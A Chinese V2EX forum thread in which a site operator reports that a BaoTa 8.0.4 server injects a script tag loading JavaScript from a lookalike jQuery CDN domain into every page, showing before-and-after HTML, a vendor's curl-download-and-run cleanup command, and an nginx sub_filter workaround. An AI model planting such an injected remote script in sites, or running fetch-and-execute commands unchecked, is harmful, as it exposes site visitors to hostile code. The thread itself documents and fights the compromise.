服务器安装宝塔 8.0.4，现在所有站点切换手机版都调用远程 js 文件

svipchao · 2023-11-19T15:03:03Z

新建一个空 html 页面 Document 展示结果 Document 尝试重装 nginx 使用去年官方论坛 https://www.bt.cn/bbs/thread-105121-1-1.html 给出的排查木马命令 curl -sSO http://download.bt.cn/tools/wng_clean.py && python wng_clean.py && rm -rf wng_clean.py 提示没有木马文件和这个里面讲的很像 https://cn-sec.com/archives/1471119.html 论坛大佬多，有什么解决思路吗

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

For Existing Member Sign In

› DigitalOcean

This topic created in 891 days ago, the information mentioned may be changed or developed.

新建一个空 html 页面

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  
</body>
</html>

展示结果

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
<script type="text/javascript" src="https://cdn.bootscdns.org/ajax/libs/jquery/3.6.4/jquery.js"></script>
</head>
<body>
  
</body>
</html>

尝试重装 nginx
使用去年官方论坛 https://www.bt.cn/bbs/thread-105121-1-1.html 给出的排查木马命令 curl -sSO http://download.bt.cn/tools/wng_clean.py && python wng_clean.py && rm -rf wng_clean.py 提示没有木马文件
和这个里面讲的很像 https://cn-sec.com/archives/1471119.html

论坛大佬多，有什么解决思路吗

5 replies • 2023-11-20 09:33:10 +08:00

svipchao

Nov 19, 2023

临时解决方案在 nginx 配置文件加入
```
sub_filter '<script type="text/javascript" src="https://cdn.bootscdns.org/ajax/libs/jquery/3.6.4/jquery.js"></script>' '';
sub_filter_once off;
```
重启 nginx

chinacivi

Nov 20, 2023

网站多少？确定不是浏览器插件问题吗？

svipchao

Nov 20, 2023

@chinacivi 确定不是浏览器问题，这是别人反馈的

lisxour

Nov 20, 2023

宝塔能换就换了吧，1panel 好像挺不错的

svipchao

Nov 20, 2023

@lisxour 客户站点多，现在只能修复，然后慢慢换